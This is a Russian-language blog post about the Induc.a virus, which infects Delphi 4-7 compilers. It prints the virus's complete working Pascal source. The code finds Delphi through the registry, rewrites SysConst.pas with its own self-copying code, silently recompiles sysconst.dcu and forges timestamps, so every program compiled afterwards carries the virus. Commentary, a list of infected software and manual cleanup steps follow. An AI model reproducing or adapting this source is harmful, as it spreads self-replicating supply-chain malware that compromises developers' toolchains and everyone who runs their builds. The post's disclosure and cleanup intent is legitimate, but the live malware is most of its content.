Уголок маньяка

ОПАСНОСТЕ! Virus.Win32.Induc.a

Наткнулся на запись в блоге Gun Smoker'а и высрал кирпич, простите мой французкий:
uses windows;

var sc:array[1..24] of string=('uses windows; var sc:array[1..24] of string=(',
'function x(s:string):string;var i:integer;begin for i:=1 to length(s) do if s[i]',
'=#36 then s[i]:=#39;result:=s;end;procedure re(s,d,e:string);var f1,f2:textfile;',
'h:cardinal;f:STARTUPINFO;p:PROCESS_INFORMATION;b:boolean;t1,t2,t3:FILETIME;begin',
'h:=CreateFile(pchar(d+$bak$),0,0,0,3,0,0);if h<>DWORD(-1) then begin CloseHandle',
'(h);exit;end;{$I-}assignfile(f1,s);reset(f1);if ioresult<>0 then exit;assignfile',
'(f2,d+$pas$);rewrite(f2);if ioresult<>0 then begin closefile(f1);exit;end; while',
'not eof(f1) do begin readln(f1,s); writeln(f2,s);  if pos($implementation$,s)<>0',
'then break;end;for h:= 1 to 1 do writeln(f2,sc[h]);for h:= 1 to 23 do writeln(f2',
',$$$$+sc[h],$$$,$);writeln(f2,$$$$+sc[24]+$$$);$);for h:= 2 to 24 do writeln(f2,',
'x(sc[h]));closefile(f1);closefile(f2);{$I+}MoveFile(pchar(d+$dcu$),pchar(d+$bak$',
')); fillchar(f,sizeof(f),0); f.cb:=sizeof(f); f.dwFlags:=STARTF_USESHOWWINDOW;f.',
'wShowWindow:=SW_HIDE;b:=CreateProcess(nil,pchar(e+$"$+d+$pas"$),0,0,false,0,0,0,',
'f,p);if b then WaitForSingleObject(p.hProcess,INFINITE);MoveFile(pchar(d+$bak$),',
'pchar(d+$dcu$));DeleteFile(pchar(d+$pas$));h:=CreateFile(pchar(d+$bak$),0,0,0,3,',
'0,0);  if  h=DWORD(-1) then exit; GetFileTime(h,@t1,@t2,@t3); CloseHandle(h);h:=',
'CreateFile(pchar(d+$dcu$),256,0,0,3,0,0);if h=DWORD(-1) then exit;SetFileTime(h,',
'@t1,@t2,@t3); CloseHandle(h); end; procedure st; var  k:HKEY;c:array [1..255] of',
'char;  i:cardinal; r:string; v:char; begin for v:=$4$ to $7$ do if RegOpenKeyEx(',
'HKEY_LOCAL_MACHINE,pchar($Software\Borland\Delphi\$+v+$.0$),0,KEY_READ,k)=0 then',
'begin i:=255;if RegQueryValueEx(k,$RootDir$,nil,@i,@c,@i)=0 then begin r:=$$;i:=',
'1; while c[i]<>#0 do begin r:=r+c[i];inc(i);end;re(r+$\source\rtl\sys\SysConst$+',
'$.pas$,r+$\lib\sysconst.$,$"$+r+$\bin\dcc32.exe" $);end;RegCloseKey(k);end; end;',
'begin st; end.');

function x(s:string):string;
var i:integer;
begin
  for i:=1 to length(s) do if s[i]=#36 then s[i]:=#39;
  result:=s;
end;

procedure re(s,d,e:string);
var f1,f2:textfile;
    h:cardinal;
    f:STARTUPINFO;
    p:PROCESS_INFORMATION;
    b:boolean;
    t1,t2,t3:FILETIME;
begin
  h:=CreateFile(pchar(d+'bak'),0,0,0,3,0,0);
  if h<>DWORD(-1) then
  begin
    CloseHandle(h);
    exit;
  end;
  {'I-}assignfile(f1,s);
  reset(f1);
  if ioresult<>0 then exit;
  assignfile(f2,d+'pas');
  rewrite(f2);
  if ioresult<>0 then begin closefile(f1); exit; end;

  while not eof(f1) do
  begin
    readln(f1,s);
    writeln(f2,s);
    if pos('implementation',s)<>0 then break;
  end;

  for h:= 1 to 1 do writeln(f2,sc[h]);
  for h:= 1 to 23 do writeln(f2,''''+sc[h],''',');writeln(f2,''''+sc[24]+''');');
  for h:= 2 to 24 do writeln(f2,x(sc[h]));
  closefile(f1);
  closefile(f2);
  {'I+}MoveFile(pchar(d+'dcu'),pchar(d+'bak'));
  fillchar(f,sizeof(f),0);
  f.cb := sizeof(f);
  f.dwFlags := STARTF_USESHOWWINDOW;
  f.wShowWindow := SW_HIDE;
  b := CreateProcess(nil,pchar(e+'"'+d+'pas"'),0,0,false,0,0,0,f,p);
  if b then WaitForSingleObject(p.hProcess,INFINITE);
  MoveFile(pchar(d+'bak'),pchar(d+'dcu'));
  DeleteFile(pchar(d+'pas'));
  h := CreateFile(pchar(d+'bak'),0,0,0,3,0,0);
  if  h=DWORD(-1) then exit;
  GetFileTime(h,@t1,@t2,@t3);
  CloseHandle(h);
  h := CreateFile(pchar(d+'dcu'),256,0,0,3,0,0);
  if h=DWORD(-1) then exit;
  SetFileTime(h,@t1,@t2,@t3);
  CloseHandle(h);
end;

procedure st;
  var  k:HKEY;c:array [1..255] of char;
  i:cardinal;
  r:string;
  v:char;
begin
  for v:='4' to '7' do
    if RegOpenKeyEx(HKEY_LOCAL_MACHINE,pchar('Software\Borland\Delphi\'+v+'.0'),0,KEY_READ,k)=0 then
    begin
      i:=255;
      if RegQueryValueEx(k,'RootDir',nil,@i,@c,@i)=0 then
      begin
        r:='';
        i:=1;
        while c[i]<>#0 do
        begin
          r:=r+c[i];
          inc(i);
        end;
        re(r+'\source\rtl\sys\SysConst'+'.pas',r+'\lib\sysconst.','"'+r+'\bin\dcc32.exe" ');
      end;
    RegCloseKey(k);
  end;
end;

begin
  st;
end.

В двух словах - бяка заражает один из системных модулей Delphi 4-7 версии и та начинает компилять программы с вирусом на борту. Полезной нагрузки нет, единственная цель - размножение, к тому же сохраняется копия оригинального файла, что как бы намекает на Proof Of Concept, однако от этого легче не становится. Из-за ошибки в коде на некоторых машинах инфицированные программы спотыкаются с Runtime Error 3. Delphi 7 у меня на работе тоже оказалась заражена, нашёл по сигнатурам ещё 90 инфицированных скомпиленных файлов, самый ранний из которых датируется апрелем 2009 года, так что установить источник заражения уже нереально. Ну и (АХТУНГ!) QiP 2005 build 8094 собственной персоной :) Вот уж сюрприз так сюрприз, а тут ещё по сети ходят слухи об инфицированном AIMP, здесь стоит старенький 2.10 - всё чисто.

Продублирую информацию о "лечении" (если эти телодвижения можно так назвать :)
$(DELPHI)\lib\sysconst.dcu удалить.
$(DELPHI)\lib\sysconst.bak скопировать и переименовать в sysconst.dcu.
ВАЖНО: sysconst.bak удалять не следует, т.к. он служит меткой заражения.

Получается что-то вроде бактериологическое оружия, которым заразили городской водопровод: зачем заражать готовые программы и заботиться о их попадании в сеть, если можно "подправить" средства разработки и всю работу по распространению вируса возьмут на себя сами разработчики? Пример с QiP - верхушка айсберга, а что если в сети сейчас гуляет похожий вирус, но генерирующий полиморфный+шифрованный код? Страшнааа :) Темпы размножения такого зверька, очевидно, должны быть относительно невысокие, зато эффективность стопроцентная, ведь к привычному софту, скачанному с официального сайта, доверия куда больше, чем к "традиционным" источникам заражения - крякам и варезу. Да и антивирусам технически достаточно сложно отловить момент заражения: правка текстового файла и запуск исполняемого (хотя можно обойтись и без послднего) ну никак не попадают в категорию опасных действий, особенно если их выполняет доверенное приложение

Пользуясь случаем, хотелось бы передать привет народу с http://programmersforum.ru, среди инфицированных программ нашлись: Cosmonoid, MarioD, GravityRace :)

Ссылки по теме:
Вопрос №70912 на delphikingdom.ru, 28 мая 2009 года
Gun Smoker's blog и его тема на форуме QiP
Та-самая Runtime error 3
Хабр

UPD: Касперский обозвал его Virus.Win32.Induc.a, Индюк, ё-моё :)

Комментарии

Отправить комментарий

  • Доступны HTML теги: <em> <strong> <cite> <code> <ul> <ol> <li> <dl> <dt> <dd>
  • Строки и параграфы переносятся автоматически.

Подробнее о форматировании